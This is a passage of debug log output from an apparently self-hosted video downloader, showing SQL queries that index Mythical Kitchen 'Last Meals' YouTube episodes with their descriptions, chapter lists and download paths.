..., "Steve-O Eats His Last Meal", "5735b6aa-f428-42dc-9b7b-96ad221429da", "https://www.youtube.com/watch?v=ZkiiyJYaXkQ", false, "ZkiiyJYaXkQ", 2074, false, 13, "/downloads/Last Meals/2023-11-28 Steve-O Eats His Last Meal/Steve-O Eats His Last Meal [ZkiiyJYaXkQ].mp4", false, false, 1, [], 1, ~U[2023-11-28 11:00:27Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Steve-O's last meal.\n\n0:00 Steve-O's Last Meal Menu\n1:01 Colonoscopy Prep\n2:04 Have You Thought About Your Last Meal Before?\n3:08 Existence Is A Cruel Prank\n4:05 1st Course - Monster Munch & Vegan Spinach Dip\n4:45 Steve-O Takes Off His Pants\n6:29 True Love & Steve-O's New Comedy Special\n8:44 Steve-O Calls Himself A Distraction Therapist\n9:59 Do You Believe In An Afterlife?\n12:00 Embarrassed By A Rich Dad\n13:31 2nd Course - Lobster, Mashed Potatoes, & Liquid Death\n15:10 Addictive Tendencies \n16:22 Johnny Knoxville's Intervention With Steve-O\n18:20 Commitment To Sobriety\n19:32 Genuine Joy\n20:06 3rd Course, Grilled Cheese, Tempura Roll, & Hot Sauce For Your Butthole\n22:33 Therapy & Sex Addition\n23:40 Do You Think You're Underestimated By People?\n24:39 4th Course - Pecan Pie With Melted Reese's & Hot Coffee\n25:50 Aging Is A Party Foul\n27:02 When A Parent Suffers\n30:24 Who's The One Person You'd Want To Share Your Last Meal With?\n30:56 Which Jackass Co-Star Would You Kick In The Nuts?\n31:13 What's Your Greatest Regret?\n31:47 Are You Happy?\n33:22 Steve-O's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmo (truncated) 20:49:32.248 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.248 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-11 11:00:15Z], 1] 20:49:32.249 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Rhett McLaughlin's last meal. Last Meals Ep.1\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Rhett Eats His Last Meal", "7c4f323c-a657-4bbd-8da1-970fa2b76545", "https://www.youtube.com/watch?v=Y7NoOqhQiUw", false, "Y7NoOqhQiUw", 1404, false, 14, "/downloads/Last Meals/2022-01-11 Rhett Eats His Last Meal/Rhett Eats His Last Meal [Y7NoOqhQiUw].mp4", false, false, 1, [], 1, ~U[2022-01-11 11:00:15Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Rhett McLaughlin's last meal. Last Meals Ep.1\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Rhett Eats His Last Meal", "https://www.youtube.com/watch?v=Y7NoOqhQiUw", "Y7NoOqhQiUw", 1404, false, "/downloads/Last Meals/2022-01-11 Rhett Eats His Last Meal/Rhett Eats His Last Meal [Y7NoOqhQiUw].mp4", false, 1, ~U[2022-01-11 11:00:15Z]] 20:49:32.249 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.249 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-17 10:00:26Z], 1] 20:49:32.250 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Atsuko Okatsuka eats her last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Atsuko's Last Meal\n0:20 Singing At Coldstone\n2:35 Have You Thought About Your Last Meal Before?\n3:25 How Often Do You Think About Death?\n5:05 1st Course\n7:45 Bringing Cultures Together\n10:52 How To Eat And Look Hot\n11:51 New Special, FATHER\n12:45 Antelope Valley Trilogy\n15:07 I Didn't Ask To Be Here But I Am\n16:24 2nd Course\n18:45 Duty To Your Family\n20:18 We Both Have Schizophrenic Moms\n21:54 When Your Grandma Kidnaps You\n23:45 It's Not Just Hotels & Airplanes\n26:15 3rd Course\n29:10 Returning To Taiwan As An Adult\n31:50 Can Any Of Us Prevent Who We Are?\n33:03 WE BROKE ET\n34:11 4th Course\n36:16 Being Alone\n38:08 What Would Adult Atsuko Say To Kid Atsuko?\n40:33 What Do You Think Happens When You Die?\n41:40 Lightning Round\n41:55 Atsuko's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Atsuko Okatsuka Eats Her Last Meal", "742e9fd1-f341-4064-8bc5-4c3723f895f1", "https://www.youtube.com/watch?v=ExEAhFIaNbA", false, "ExEAhFIaNbA", 2734, false, 15, "/downloads/Last Meals/2025-06-17 Atsuko Okatsuka Eats Her Last Meal/Atsuko Okatsuka Eats Her Last Meal [ExEAhFIaNbA].mp4", false, false, 1, [], 1, ~U[2025-06-17 10:00:26Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Atsuko Okatsuka eats her last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Atsuko's Last Meal\n0:20 Singing At Coldstone\n2:35 Have You Thought About Your Last Meal Before?\n3:25 How Often Do You Think About Death?\n5:05 1st Course\n7:45 Bringing Cultures Together\n10:52 How To Eat And Look Hot\n11:51 New Special, FATHER\n12:45 Antelope Valley Trilogy\n15:07 I Didn't Ask To Be Here But I Am\n16:24 2nd Course\n18:45 Duty To Your Family\n20:18 We Both Have Schizophrenic Moms\n21:54 When Your Grandma Kidnaps You\n23:45 It's Not Just Hotels & Airplanes\n26:15 3rd Course\n29:10 Returning To Taiwan As An Adult\n31:50 Can Any Of Us Prevent Who We Are?\n33:03 WE BROKE ET\n34:11 4th Course\n36:16 Being Alone\n38:08 What Would Adult Atsuko Say To Kid Atsuko?\n40:33 What Do You Think Happens When You Die?\n41:40 Lightning Round\n41:55 Atsuko's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Atsuko Okatsuka Eats Her Last Meal", "https://www.youtube.com/watch?v=ExEAhFIaNbA", "ExEAhFIaNbA", 2734, false, "/downloads/Last Meals/2025-06-17 Atsuko Okatsuka Eats Her Last Meal/Atsuko Okatsuka Eats Her Last Meal [ExEAhFIaNbA].mp4", false, 1, ~U[2025-06-17 10:00:26Z]] 20:49:32.250 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.250 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-01 10:00:20Z], 1] 20:49:32.252 [debug] QUERY OK source="media_items" db=1.9ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Trixie Mattel eats her last meal. \n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nCHAPTERS\n0:00 Trixie's Last Meal\n0:30 DragCon 2018\n1:05 Have You Thought About Your Last Meal Before?\n2:33 1st Course\n5:10 Potbelly Open Mic Rejection\n8:09 Love For Wisconsin\n10:33 RIP Checkers\n12:25 Trauma Is The Only Thing That Bonds Us All\n14:09 The Venn Diagram Of Trixie & Brian\n15:27 They Don't Have Issues With Drag, They Have Issues With Gay People\n16:35 2nd Course\n18:54 Putting On A Dress For The First Time\n20:20 RuPaul's Drag Race\n22:41 Josh's Drag Persona\n23:33 Where Trixie's Persona Came From\n25:07 Wanting To Be A Parent\n26:14 Don't You Have Potholes To Fill?!\n29:35 3rd Course\n31:04 Burnout & Taking A Sabbatical\n34:12 Friendship With Katya\n36:00 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:25 Trixie's Last Words\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Trixie Mattel Eats Her Last Meal", "bd755263-56e9-4aa7-9a0c-9740d05e4a4d", "https://www.youtube.com/watch?v=BkZcJFfJb9o", false, "BkZcJFfJb9o", 2556, false, 16, "/downloads/Last Meals/2025-04-01 Trixie Mattel Eats Her Last Meal/Trixie Mattel Eats Her Last Meal [BkZcJFfJb9o].mp4", false, false, 1, [], 1, ~U[2025-04-01 10:00:20Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Trixie Mattel eats her last meal. \n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nCHAPTERS\n0:00 Trixie's Last Meal\n0:30 DragCon 2018\n1:05 Have You Thought About Your Last Meal Before?\n2:33 1st Course\n5:10 Potbelly Open Mic Rejection\n8:09 Love For Wisconsin\n10:33 RIP Checkers\n12:25 Trauma Is The Only Thing That Bonds Us All\n14:09 The Venn Diagram Of Trixie & Brian\n15:27 They Don't Have Issues With Drag, They Have Issues With Gay People\n16:35 2nd Course\n18:54 Putting On A Dress For The First Time\n20:20 RuPaul's Drag Race\n22:41 Josh's Drag Persona\n23:33 Where Trixie's Persona Came From\n25:07 Wanting To Be A Parent\n26:14 Don't You Have Potholes To Fill?!\n29:35 3rd Course\n31:04 Burnout & Taking A Sabbatical\n34:12 Friendship With Katya\n36:00 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:25 Trixie's Last Words\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Trixie Mattel Eats Her Last Meal", "https://www.youtube.com/watch?v=BkZcJFfJb9o", "BkZcJFfJb9o", 2556, false, "/downloads/Last Meals/2025-04-01 Trixie Mattel Eats Her Last Meal/Trixie Mattel Eats Her Last Meal [BkZcJFfJb9o].mp4", false, 1, ~U[2025-04-01 10:00:20Z]] 20:49:32.252 [debug] QUERY OK source="sources" db=0.0ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.253 [debug] QUERY OK source="media_items" db=0.0ms idle=2.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-19 10:01:42Z], 1] 20:49:32.253 [debug] QUERY OK source="media_items" db=0.5ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Colman Domingo eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Colman's Last Meal\n0:20 Colman Loves A Nude Beach\n1:34 How Often Do You Think About Death?\n2:50 1st Course\n5:50 Birthday Oysters & Recentering\n6:30 A Prayer To The Crescent Moon\n8:14 Comedy Is Harder Than Drama\n10:40 Career Beginnings In San Francisco\n13:32 \"I Think You Have A Gift\"\n15:30 \"Protect Your Art Like You Would A Child\"\n16:43 2nd Course\n19:08 Honoring Edith\n20:50 Wild With Happy\n21:26 Believing At Disneyland\n22:58 Letters To Oprah\n24:23 Bartending Days\n26:58 Intentional Community & Almost Joining A Cult\n28:16 3rd Course\n28:40 Infusing A Personal Story Into Sing Sing\n31:11 Helping Men Be More Vulnerable\n34:10 Stay 